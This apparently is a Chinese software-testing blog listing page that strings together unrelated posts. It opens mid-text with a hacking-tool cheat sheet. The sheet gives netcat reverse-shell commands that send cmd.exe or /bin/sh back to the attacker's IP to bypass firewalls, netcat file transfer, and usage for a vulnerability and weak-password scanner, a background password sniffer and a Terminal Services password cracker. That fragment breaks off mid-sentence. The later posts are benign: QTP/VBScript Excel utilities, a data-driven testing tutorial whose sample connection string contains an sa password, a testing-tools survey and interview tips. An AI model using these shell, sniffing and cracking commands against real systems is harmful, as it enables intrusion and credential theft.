    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    #8 八:

    2、扫锚工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
    -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据报
    -udp 输出UDP数据报
    -icmp 输出ICMP数据报
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    4、终端服务密码破解: tscrack.exe

    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同
  • 关于导入excel文件的问题

    three116 发布于 2008-10-24 19:37:40

    转载请保留:本文出自three116的51Testing软件测试博客:http://www.51testing.com/?135646

    最近在网上看到很多人遇到这个问题,导入数据表,出现如下报错
    The DataTable.Import (file) operation failed. Invalid file.

    其实这个问题是由于做的数据表中自动增加了一些格式,这些格式QTP不能识别;

    更具体的原因没仔细查过,下面就介绍下我的解决办法。

    我的解决办法就是,将出问题的数据表中的内容copy到另一张新的表中;

    但是是用vbs脚本copy的,这样表中的一个格式就不会被copy过去;

    顺便附带上我的脚本吧.

    转载请保留:本文出自three116的51Testing软件测试博客:http://www.51testing.com/?135646


    Dim ExcelApp    'As Excel.Application
    Dim excelSheet  'As Excel.worksheet
    Dim excelBook   'As Excel.workbook
    Dim fso         'As scrīpting.FileSystemObject
    row1=1
    mark=0
    ' *********************************************************************************************
    ' 函数说明:创建一个Excel应用程序ExcelApp,并创建一个新的工作薄Workbook;
    ' 参数说明:无
    ' 调用方法:
    '           CreateExcel()
    ' *********************************************************************************************

    Function CreateExcel()
        Dim excelSheet
        Set ExcelApp = CreateObject("Excel.Application")
        'ExcelApp.Workbooks.Add 
        ExcelApp.Visible = True
        Set CreateExcel = ExcelApp
    msgbox "111"
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:关闭Excel应用程序;
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    ' 调用方法:
    '           CloseExcel(ExcelApp)
    ' *********************************************************************************************
    Sub CloseExcel(ExcelApp)
        Set excelSheet = ExcelApp.ActiveSheet
        Set excelBook = ExcelApp.ActiveWorkbook
        Set fso = CreateObject("scrīpting.FileSystemObject")
        On Error Resume Next
        fso.CreateFolder "C:\Temp"
        fso.DeleteFile "C:\Temp\ExcelExamples.xls"
        excelBook.SaveAs "C:\Temp\ExcelExamples.xls"
        ExcelApp.Quit
        Set ExcelApp = Nothing
        Set fso = Nothing
        Err = 0
        On Error GoTo 0
    End Sub
     
    ' *********************************************************************************************
    ' 函数说明:保存工作薄;
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)workbookIdentifier:属于ExcelApp的工作薄名称;
    '          (3)path:保存的路径;
    ' 返回结果:
    '          (1)保存成功,返回字符串:OK
    '          (2)保存失败,返回字符串:Bad Worksheet Identifier
    ' 调用方法:
    '           ret = SaveWorkbook(ExcelApp, "Book1", "D:\Example1.xls")
    ' *********************************************************************************************

    Function SaveWorkbook(ExcelApp, workbookIdentifier, path) 'As String
        Dim workbook
        On Error Resume Next  '启用错误处理程序
        Set workbook = ExcelApp.Workbooks(workbookIdentifier)
        On Error GoTo 0   '禁用错误处理程序

        If Not workbook Is Nothing Then
            If path = "" Or path = workbook.FullName Or path = workbook.Name Then
                workbook.Save
            Else
                Set fso = CreateObject("scrīpting.FileSystemObject")
     
                '判断路径中是否已添加扩展名.xls
                If InStr(path, ".") = 0 Then
                    path = path & ".xls"
                End If
     
                '删除路径下现有同名的文件
                On Error Resume Next
                fso.DeleteFile path
                Set fso = Nothing
                Err = 0
                On Error GoTo 0
               
                workbook.SaveAs path
            End If
            SaveWorkbook = "OK"
        Else
            SaveWorkbook = "Bad Workbook Identifier"
        End If
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:设置工作表excelSheet单元格的值
    ' 参数说明:
    '          (1)excelSheet:工作表名称;
    '          (2)row:列的序号,第一列为1;
    '          (3)column:行的序号,第一行为1;
    '          (4)value:单元格要设置的值;
    ' 返回结果:
    '          无返回值
    ' 调用方法:
    '           SetCellValue excelSheet1, 1, 2, "test"
    ' *********************************************************************************************

    Sub SetCellValue(excelSheet, row, column, value)
        On Error Resume Next
        excelSheet.Cells(row, column) = value
        On Error GoTo 0
    End Sub
     
    'The GetCellValue returns the cell's value according to its row column and sheet
    'excelSheet - the Excel Sheet in which the cell exists
    'row - the cell's row
    'column - the cell's column
    'return 0 if the cell could not be found
    ' *********************************************************************************************
    ' 函数说明:获取工作表excelSheet单元格的值
    ' 参数说明:
    '          (1)excelSheet:工作表名称;
    '          (2)row:列的序号;
    '          (3)column:行的序号;
    ' 返回结果:
    '          (1)单元格存在,返回单元格值;
    '          (2)单元格不存在,返回0;
    ' 调用方法:
    '           set CellValue = GetCellValue(excelSheet, 1, 2)
    ' *********************************************************************************************

    Function GetCellValue(excelSheet, row, column)
        value = 0
        Err = 0
        On Error Resume Next
        tempValue = excelSheet.Cells(row, column)
        If Err = 0 Then
            value = tempValue
            Err = 0
        End If
        On Error GoTo 0
        GetCellValue = value
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:获取并返回工作表对象
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)sheetIdentifier:属于ExcelApp的工作表名称;
    ' 返回结果:
    '          (1)成功:工作表对象Excel.worksheet
    '          (1)失败:Nothing
    ' 调用方法:
    '           Set excelSheet1 = GetSheet(ExcelApp, "Sheet Name")
    ' *********************************************************************************************

    Function GetSheet(ExcelApp, sheetIdentifier)
        On Error Resume Next
        Set GetSheet = ExcelApp.Worksheets.Item(sheetIdentifier)
        On Error GoTo 0
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:添加一张新的工作表
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)workbookIdentifier:属于ExcelApp的工作薄名称;
    '          (2)sheetName:要插入的工作表名称;
    ' 返回结果:
    '          (1)成功:工作表对象worksheet
    '          (1)失败:Nothing
    ' 调用方法:
    '           InsertNewWorksheet(ExcelApp, workbookIdentifier, "new sheet")
    ' *********************************************************************************************

    Function InsertNewWorksheet(ExcelApp, workbookIdentifier, sheetName)
        Dim workbook 'As Excel.workbook
        Dim worksheet 'As Excel.worksheet
     
        '如果指定的工作薄不存在,将在当前激活状态的工作表中添加工作表
        If workbookIdentifier = "" Then
            Set workbook = ExcelApp.ActiveWorkbook
        Else
            On Error Resume Next
            Err = 0
            Set workbook = ExcelApp.Workbooks(workbookIdentifier)
            If Err <> 0 Then
                Set InsertNewWorksheet = Nothing
                Err = 0
                Exit Function
            End If
            On Error GoTo 0
        End If
     
        sheetCount = workbook.Sheets.Count  '获取工作薄中工作表的数量
        workbook.Sheets.Add , sheetCount '添加工作表
        Set worksheet = workbook.Sheets(sheetCount + 1)  '初始化worksheet为新添加的工作表对象
     
        '设置新添加的工作表名称
        If sheetName <> "" Then
            worksheet.Name = sheetName
        End If
     
        Set InsertNewWorksheet = worksheet
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:修改工作表的名称;
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)workbookIdentifier:属于ExcelApp的工作薄名称;
    '          (3)worksheetIdentifier:属于workbookIdentifier工作薄的工作表名称;
    '          (4)sheetName:修改后的工作表名称;
    ' 返回结果:
    '          (1)修改成功,返回字符串:OK
    '          (2)修改失败,返回字符串:Bad Worksheet Identifier
    ' 调用方法:
    '           set ret = RenameWorksheet(ExcelApp, "Book1", "Sheet1", "Sheet Name")
    ' *********************************************************************************************

    Function RenameWorksheet(ExcelApp, workbookIdentifier, worksheetIdentifier, sheetName)
        Dim workbook
        Dim worksheet
        On Error Resume Next
        Err = 0
        Set workbook = ExcelApp.Workbooks(workbookIdentifier)
        If Err <> 0 Then
            RenameWorksheet = "Bad Workbook Identifier"
            Err = 0
            Exit Function
        End If
        Set worksheet = workbook.Sheets(worksheetIdentifier)
        If Err <> 0 Then
            RenameWorksheet = "Bad Worksheet Identifier"
            Err = 0
            Exit Function
        End If
        worksheet.Name = sheetName
        RenameWorksheet = "OK"
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:删除工作表;
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)workbookIdentifier:属于ExcelApp的工作薄名称;
    '          (3)worksheetIdentifier:属于workbookIdentifier工作薄的工作表名称;
    ' 返回结果:
    '          (1)删除成功,返回字符串:OK
    '          (2)删除失败,返回字符串:Bad Worksheet Identifier
    ' 调用方法:
    '           set ret = RemoveWorksheet(ExcelApp, "Book1", "Sheet1")
    ' *********************************************************************************************

    Function RemoveWorksheet(ExcelApp, workbookIdentifier, worksheetIdentifier)
        Dim workbook 'As Excel.workbook
        Dim worksheet 'As Excel.worksheet
        On Error Resume Next
        Err = 0
        Set workbook = ExcelApp.Workbooks(workbookIdentifier)
        If Err <> 0 Then
            RemoveWorksheet = "Bad Workbook Identifier"
            Exit Function
        End If
        Set worksheet = workbook.Sheets(worksheetIdentifier)
        If Err <> 0 Then
            RemoveWorksheet = "Bad Worksheet Identifier"
            Exit Function
        End If
        worksheet.Delete
        RemoveWorksheet = "OK"
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:添加新的工作薄
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    ' 返回结果:
    '          (1)成功:工作表对象NewWorkbook
    '          (1)失败:Nothing
    ' 调用方法:
    '          set NewWorkbook = CreateNewWorkbook(ExcelApp)
    ' *********************************************************************************************

    Function CreateNewWorkbook(ExcelApp)
        Set NewWorkbook = ExcelApp.Workbooks.Add()
        Set CreateNewWorkbook = NewWorkbook
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:打开工作薄
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)path:要打开的工作薄路径;
    ' 返回结果:
    '          (1)成功:工作表对象NewWorkbook
    '          (1)失败:Nothing
    ' 调用方法:
    '          set NewWorkbook = CreateNewWorkbook(ExcelApp)
    ' *********************************************************************************************

    Function OpenWorkbook(ExcelApp, path)
        On Error Resume Next
        Set NewWorkbook = ExcelApp.Workbooks.Open(path)
        Set ōpenWorkbook = NewWorkbook
    msgbox "222"
        On Error GoTo 0
    End Function
     
    ' *********************************************************************************************
    ' 函数说明:将工作薄设置为当前工作状态
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)workbookIdentifier:要设置为当前工作状态的工作薄名称;
    ' 返回结果:无返回值;
    ' 调用方法:
    '          ActivateWorkbook(ExcelApp, workbook1)
    ' *********************************************************************************************

    Sub ActivateWorkbook(ExcelApp, workbookIdentifier)
        On Error Resume Next
        ExcelApp.Workbooks(workbookIdentifier).Activate
        On Error GoTo 0
    End Sub
     
    ' *********************************************************************************************
    ' 函数说明:关闭Excel工作薄;
    ' 参数说明:
    '          (1)ExcelApp:Excel应用程序名称;
    '          (2)workbookIdentifier:
    ' 调用方法:
    '           CloseWorkbook(ExcelApp, workbookIdentifier)
    ' *********************************************************************************************

    Sub CloseWorkbook(ExcelApp, workbookIdentifier)
        On Error Resume Next
        ExcelApp.Workbooks(workbookIdentifier).Close
        On Error GoTo 0
    End Sub
     
    ' *********************************************************************************************
    ' 函数说明:判断两个工作表对应单元格内容是否相等
    ' 参数说明:
    '          (1)sheet1:工作表1的名称;
    '          (2)sheet2:工作表2的名称;
    '          (3)startColumn:开始比较的行序号;
    '          (4)numberOfColumns:要比较的行数;
    '          (5)startRow:开始比较的列序号;
    '          (6)numberOfRows:要比较的列数;
    '          (7)trimed:是否先除去字符串开始的空格和尾部空格后再进行比较,true或flase;
    ' 返回结果:
    '          (1)两工作表对应单元格内容相等:true
    '          (2)两工作表对应单元格内容不相等:flase        
    ' 调用方法:
    '           ret = CompareSheets(excelSheet1, excelSheet2, 1, 10, 1, 10, False)
    ' *********************************************************************************************

    Function CompareSheets(sheet1, sheet2, startColumn, numberOfColumns, startRow, numberOfRows, trimed)
        Dim returnVal 'As Boolean
        returnVal = True
     
        '判断两个工作表是否都存在,任何一个不存在停止判断,返回flase
        If sheet1 Is Nothing Or sheet2 Is Nothing Then
            CompareSheets = False
            Exit Function
        End If
     
        '循环判断两个工作表单元格的值是否相等
        For r = startRow to (startRow + (numberOfRows - 1))
            For c = startColumn to (startColumn + (numberOfColumns - 1))
                Value1 = sheet1.Cells(r, c)
                Value2 = sheet2.Cells(r, c)
     
                '如果trimed为true,去除单元格内容前面和尾部空格
                If trimed Then
                    Value1 = Trim(Value1)
                    Value2 = Trim(Value2)
                End If
     
                '如果单元格内容不一致,函数返回flase
                If Value1 <> Value2 Then
                    Dim cell 'As Excel.Range
                    '修改sheet2工作表中对应单元格值
                    sheet2.Cells(r, c) = "Compare conflict - Value was '" & Value2 & "', Expected value is '" & Value1 & "'." 
                    '初始化cell为sheet2中r:c单元格对象
                    Set cell = sheet2.Cells(r, c) '
                    '将sheet2工作表中对应单元格的颜色设置为红色
                    cell.Font.Color = vbRed 
                    returnVal = False
                End If
            Next
        Next
        CompareSheets = returnVal
    End Function

    Call CreateExcel()
    Call OpenWorkbook(ExcelApp, "D:\工作文档\vbs脚本\例子2\AutoUI_FunctionTest.xls")
    set tab1=GetSheet(ExcelApp, 1)
    set tab2=GetSheet(ExcelApp, 3)
    'msgbox tmp

    For  i=1 to 100
    For  j=1 to 255

    tmp=GetCellValue(tab1, i, j)
    'msgbox tmp
    'MsgBox (Trim(left(ltrim(tmp),4)))
    If tmp<>"" Then

    Call SetCellValue(tab2, i, j, tmp)

    End If


    Next
    Next

    说明:脚本没有做更多的整理;使用的时候只需要修改

    Call OpenWorkbook(ExcelApp, "D:\Auto.xls")中的excel路径,然后执行,脚本会把第一张表单中的内容拷贝到第三张表单

    当然你也可以研究下脚本自己修改

     

  • 数据驱动在QTP的运用

    xiaonan 发布于 2006-12-12 15:44:56

       前言:

       最近看了不少朋友写的blog文章后,就越显自己的文章比较稚嫩.但我觉得这也是一种学习的方式,现在抱着一种共同学习的态度来探讨一下数据驱动在QTP中运用.很希望看我文章朋友能不吝啬的发表一下自己对这个方面的看法,那真是万分感谢啊.

       所谓数据驱动就是用一个数据文件把测试脚本驱动起来,来达到更接近用户化更智能的测试.其目的是把测试人员从维护复杂的脚本程序中解放出来,只需维护好数据文件即可,减少了很多修改脚本的麻烦.下面讲一下通过四种途径来达到数据驱动.

    1.datatable

    QTP本身程序就给我们提供了这么一个数据表,我们可以把测试数据或测试用例填入这个数据表中.

    如:设计用例

          username  passwd    

    case1  mercury    mercury 

    case2   xxxxxxx     xxxxxx

    录制脚本

    For i=1 to Datatable.GetRowCount   
    Dialog("Login").WinEdit("Agent Name:").Set DataTable("username", dtGlobalSheet)
    Dialog("Login").WinEdit("Password:").Set DataTable("passwd", dtGlobalSheet)
    Dialog("Login").WinButton("OK").Click
    datatable.GlobalSheet.SetNextRow
    Next

    本例是验证一个登录系统,通过DataTable不同的用例设计,驱动起这段脚本,达到测试的效果.当然上面的例子中还少一个很重要的步骤,那就是结果比较.如果不能进行结果比较的自动化测试不能够称为自动化测试.
    当然我们这里主要讲的是数据驱动,所以不在对上面的例子进行补充.

    2.文本文件

    我们可以把文本文件当成数据文件,通过对文本文件的读写操作,来实现数据驱动.

    例:文本文件内的内容

      mercury,mercuy

    读文件的代码

    Function writeorderno(orderno)
    Dim fso, myfile,username,passwd
    Set fso=CreateObject("scrīpting.FileSystemObject")
    Set myfile=fso.openTextFile("C:\testing.txt",1,false)
    tmp=split(myfile.readline,",")
    username=tmp(0)
    passwd=tmp(1)
    myfile.close
    End Function

    写文本文件的代码

    Function writeorderno(orderno)
    Dim fso, myfile
    Set fso=CreateObject("scrīpting.FileSystemObject")
    Set myfile=fso.openTextFile("C:\result1.txt",8,false)
    myfile.writeline orderno
    myfile.close
    End Function

    3EXCEL文件

    我们可以把EXCEL文件当成数据文件,通过对EXCEL文件的读写操作,来实现数据驱动.

    可以把EXCEL文件当作对象的方式来完成写的操作

    Dim Excel,ExcelSheet
    Set Excel=CreateObject("Excel.Application")
    Set ExcelSheet=CreateObject("Excel.Sheet")
    ExcelSheet.Application.visible=true
    ExcelSheet.ActiveSheet.Cells(1,1).value=1
    ExcelSheet.ActiveSheet.Cells(1,2).value=2
    ExcelSheet.ActiveSheet.Cells(1,3).value=3
    Excel.Save "C:\test.xls"
    Set ExcelSheet=Nothing

    用ADO的方式连接EXCEL文件来做读的操作


    Dim conn,input,filename
    filename="D:\公基本情况(tb_gsgk)-标准格式.xls" '
    Set conn= createobject("ADODB.Connection")
    conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Persist Security Info=False;Data Source="&filename&";Extended Properties='Excel 8.0;hdr=yes'"
    Set input= createobject("ADODB.Recordset")
    input.Open "select  *   from [公基本情况-标准格式$] " ,conn,2,2 
    input.close
    Set input=nothing

    4.数据库

    可以利用设计数据表,把测试数据和测试用例放在数据表里,用ADO或者其他任何可以访问连接数据库的方式连接数据库,来实现数据驱动

       Dim res,cmd,sql
         Set Res=createobject("adodb.recordset")
         Set Cmd=createobject("adodb.command")
         Cmd.activeconnection="Provider=SQLOLEDB.1;Password=111111;Persist Security Info=True;User ID=sa;Initial Catalog=xhq;Data Source=192.168.191.142"  '这句话是连接数据库的数据源,要做修改
        Cmd.CommandType = 1
        sql="selec t * from 表 where name=username"
        Cmd.CommandText = sql
        Set res = Cmd.Execute()
        Set res = nothing
        Set cmd.ActiveConnection = nothing
        Set Cmd= nothing

    以上四种方法都可以帮助我们实现数据驱动,应该说数据驱动在自动化测试中运用的比较的广泛,才有必要拿出来探讨一下.

  • 主流5类测试工具及工具举例

    suesue_119 发布于 2008-09-18 15:17:13

    目前主流的测试工具主要有以下5类:

      1.负载压力测试工具

      这类测试工具的主要目的是度量应用系统的可扩展性和性能,是一种预测系统行为和性能 的自动化测试工具。在实施并发负载过程中,通过实时性能监测来确认和查找问题,并针对所 发现问题对系统性能进行优化,确保应用的成功部署。负载压力测试工具能够对整个企业架构 进行测试,通过这些测试,企业能最大限度地缩短测试时间,优化性能和加速应用系统的发布 周期。
       1) LoadRunner 特点a,支持的协议多且个别协议支持的版本比较高;特点b,负载压力测试方案设置灵活;特点c,丰富的资源监控;特点d,报告可以导出到Word、Excel以及HTML格式。
       2)QALoad (1).测试接口多;(2)可预测系统性能;(3)通过重复测试寻找瓶颈问题;(4)从控制中心管理全局负载测试;(5)可验证应用的扩展性;(6)快速创建仿真的负载测试;(7)性能价格比较高。此外,QALoad不单单测试Web应用,还可以测试一些后台的东西,比如SQL Server等。只要它支持的协议,都可以测试。
       3)Benchmark Factory 首先它可以测试服务器群集的性能;其次,可以实施基准测试;最后,可以生成高级脚本。
       4)SilkPerformance:
       5)E-Test Suite 由Empirix公司开发的测试软件,能够和被测试应用软件无缝结合的Web应用测试工具。工具包含e-Tester、e-Load和e-Monitor,这三种工具分别对应功能测试、压力测试以及应用监控,每一部分功能相互独立,测试过程又可彼此协同。
       6)JMeter 是一个专门为运行和服务器负载测试而设计、100%的纯Java桌面运行程序。原先它是为Web/HTTP测试而设计的,但是它已经扩展以支持各种各样的测试模块。它和HTTP和SQL(使用JDBC)的模块一起运行。它可以用来测试静止或活动资料库中的服务器运行情况,可以用来模拟服务器或网络系统在重负载下的运行情况。它也提供了一个可替换的界面用来定制数据显示,测试同步及测试的创建和执行。
       7)WAS 是Micro$oft提供的免费的Web负载压力测试工具,应用广泛。WAS可以通过一台或者多台客户机模拟大量用户的活动。WAS支持身份验证、加密和Cookies,也能够模拟各种浏览器和Modem速度,它的功能和性能可以与数万美元的产品媲美。
       8)ACT 或称MSACT,它是微软的Visual Studio和Visual Studio.net带的一套进行程序压力测试的工具。ACT不但可以记录程序运行的详细数据参数,用图表显示程序运行情况,而且安装和使用都比较简单,结果阅读叶很方便,是一套较理想的测试工具。
       9)OpenSTA 它的全称是Open System Testing Architecture。OpenST的特点是可以模拟很多用户来访问需要测试的网站,它是一个功能强大、自定义设置功能完备的软件。但是,这些设置大部分需要通过scrīpt来完成,因此在真正使用这个软件之前,必须学习好它的scrīpt编写。如果需要完成很复杂的功能,scrīpt的要求还比较高。当然这也是它的优点,一些程序员不会在意编写scrīpt的。
       10)PureLoad 一个完全基于Java的测试工具,它的scrīpt代码完全使用XML。所以,编写scrīpt很简单。它的测试包含文字和图形并可以输出为HTML文件。由于是基于Java的软件,因此PureLoad可以通过Java Beans API来增强软件功能。
       11)网站压力(负载)测试工具Webserver Stress Tool:软件介绍:可以模拟任何人数在同一时间内进站或是循序进站时你的Server的反应表现。只要输入网站的URL网址以及模拟的上站人数,就可以看出Server在这种压力测试下的评比,用条状图明白地表示出Server反应时间、传递速率等相关数据。除了Http的网页外,还支持CGI或ASP等语言撰写的程序。支持Proxy设定、密码输入、Cookies与ASP的Session-IDs等功能。


      2.功能测试工具

      通过自动录制、检测和回放用户的应用操作,将被测系统的输出记录同预先给定的标准结 果比较,功能测试工具能够有效地帮助测试人员对复杂的企业级应用的不同发布版本的功能进 行测试,提高测试人员的工作效率和质量。其主要目的是检测应用程序是否能够达到预期的功 能并正常运行。
       
        1)WinRunner 企业级的功能测试工具,用于检测应用程序是否能够达到预期的功能及正常运行,自动执行重复任务并优化测试工作,从而缩短测试时间。通过自动录制、检测和回防用户的应用操作,从而提高测试效率。
        2)QARun 一款自动回归测试工具,与Winrunner比较学习成本要低很多。不过要安装QARun必须安装.net环境,另外它还提供与TestTrack Pro的集成。
        3)Rational Robot 我经常使用的测试工具,属于Rational TestSuite中的一员,对于Visual studio 6编写的程序支持的非常好,同时还支持Java Applet、HTML、Oracle Forms、People Tools应用程序的支持。要支持Delphi程序的测试还必须下载插件。Rational Robot的语法使用Basic语法,它的语言使用SQABasic。
        4)Functional Tester 它是Robot的Java实现版本,在Rational被IBM收购后发布的。在Java的浪潮下,Robot被移植到了Eclipse平台,并完全支持Java和.net。可以使用VB.net和Java进行脚本的编写,当然了录下脚本让后做做修改是最爽的事情了。由于支持Java,那么对测试脚本进行测试也变成了可能。更多的信息请到IBM developerworks上查看,另外还提供试用版本下载。
        5)QuickTest Professional:是一个B/S系统的自动化功能测试的利器,软件程序测试工具。Mercury的自动化功能测试软件(现已被HP收购),可以覆盖绝大多数的软件开发技术,简单高效,并具备测试用例可重用的特点。是一款先进的自动化测试解决方案,用于创建功能和回归测试。它自动捕获、验证和重放用户的交互行为。为每一个重要软件应用和环境提供功能和回归测试自动化的行业最佳解决方案。
        6)SilkTest 是面向Web应用、Java应用和传统的C/S应用,进行自动化的功能测试和回归测试的工具。它提供了用于测试的创建和定制的工作流设置、测试计划和管理、直接的数据库访问及校验等功能,使用户能够高效率地进行软件自动化测试。为提高测试效率,SilkTest提供多种手段来提高测试的自动化程度,包括:从测试脚本的生成、测试数据的组织、测试过程的自动化、测试结果的分析等方面。在测试脚本的生成过程中,SilkTest通过动态录制技术,录制用户的操作过程,快速生成测试脚本。


      3.白盒测试工具

      白盒测试工具一般是针对代码进行测试,测试中发现的缺陷可以定位到代码级。根据测试 工具原理的不同,又可以分为静态测试工具和动态测试工具。静态测试工具直接对代码进行分 析,不需要运行代码,也不需要对代码编译链接和生成可执行文件。静态测试工具一般是对代 码进行语法扫描,找出不符合编码规范的地方,根据某种质量模型评价代码的质量,生成系统 的调用关系图等。动态测试工具一般采用“插桩”的方式,在代码生成的可执行文件中插入一 些监测代码,用来统计程序运行时的数据。它与静态测试工具最大的不同是,动态测试工具要 求被测系统实际运行。

        1)Logiscope 
        2)PRQA 
        3)Xunit系统如Junit、Cunit 
        4) DevPartner 
        5)Rational Purify 
        6)Jprob

        白盒测试工具就不多介绍了,因为网上这方面的资料特别多。

      4.测试管理工具

      一般而言,测试管理工具对测试需求、测试计划、测试用例、测试实施进行管理,并且测 试管理工具还包括对缺陷的跟踪管理。测试管理工具能让测试人员、开发人员或其他的IT人员 通过一个中央数据仓库,在不同地方就能交互信息。
        1) TestDirector MI的测试管理工具,可以与winrunner、Loadrunner、QuickTestPro进行集成。除了可以跟踪Bug外,还可以编写测试用例、管理测试进度等等,是测试管理的首选软件。
        2) TestManager Rational Testsuite中的一员,可以用来编写测试用例、生成Datapool、生成报表、管理缺陷以及日志等等。是一个企业级的强大测试管理工具。缺点是必须和其它组件一起使用,测试成本比较高。
        3) TrackRecord 一款擅长于Bug管理的工具,与TestDirecotr和Testmanager比较起来是很light的。不过至今还没有配成功过。:( 
        4) Bugzilla 一个产品缺陷的记录及跟踪工具,它能够为你建立一个完善的Bug跟踪体系,包括报告、查询并产生报表、处理解决等几个部分。它的主要特点为:基于Web方式,安装简单;有利于缺陷的清楚传达;系统灵活,可配置性很强;自动发送Email。
        5) Jira 是一个Bug管理工具,自带一个Tomcat 4;同时有简单的工作流编辑,可用来定制流程;数据存储在HSQL数据引擎中,因此只要安装了JDK这个工具就可以使用。相比较Bugzilla来说有不少自身的特点,不过可惜它并不是开源工具,有Lisence限制。
        6)QC(quick center) 它是TD的升级版,功能与界面与TD差不多。
      
      5.测试辅助工具

      这些工具本身并不执行测试,例如它们可以生成测试数据,为测试提供数据准备。
        1)SmartDraw 用于绘制UCML,进行负载压力测试需求分析。对压力测试测试前的工作很有帮助。
        2)SDemo 我个人比较喜欢用这个工具,可以将操作录成EXE文件,并回放出来。这样就避免了那些偶尔才出现的Bug!

  • 五十条面试常见问题及推荐回答(英文)

    sixsigmay 发布于 2008-08-25 09:49:11

    1. Tell me about yourself

    Cover four areas in your life: your early years, education, work experience, and your current situation. Keep your complete answer to about 2 minutes; don't ramble or elaborate. This is your 2-minute self-introduction and you will be very accomplished at giving it by the time you are in job interviews. Because this question usually comes early in the interview, you will gain confidence by knowing you can answer it well.


    2. What can you offer us that other candidates can't?

    If this question is asked early in the interview, you might respond by discussing generally how your skills and experience would benefit the company. To get more specific, you will need to know something about the job situation they have in mind and that subject is not usually discussed until the end of the interview. Resist the temptation to frame an answer based on your assumptions about the position. If the question is asked after the interviewer has described the position, only then can you relate any of your accomplishments to the problems of your prospective employer. This is an opportune time to discuss your problem-solving abilities.


    3. What are your strengths?

    You should be able to list 3 or 4 of your key strengths that are relevant to their needs, based on the research and other data you have gathered about their company.


    4. How successful have you been so far?

    Be prepared to define success for yourself and then respond. Try to choose accomplishments that relate to the company's needs and values.


    5. What are your limitations?

    Respond with a strength which, if overdone, can be a detriment and become a weakness. For example, you might. say, "My desire to get the job done sometimes causes me to be overzealous and demanding of my organization. But I am aware of this problem and believe that I have it under control." Or deal with your need for further training in some aspect of your profession. Do not claim to be faultless, but limit your answer to one specific issue.


    6. How much are you worth?

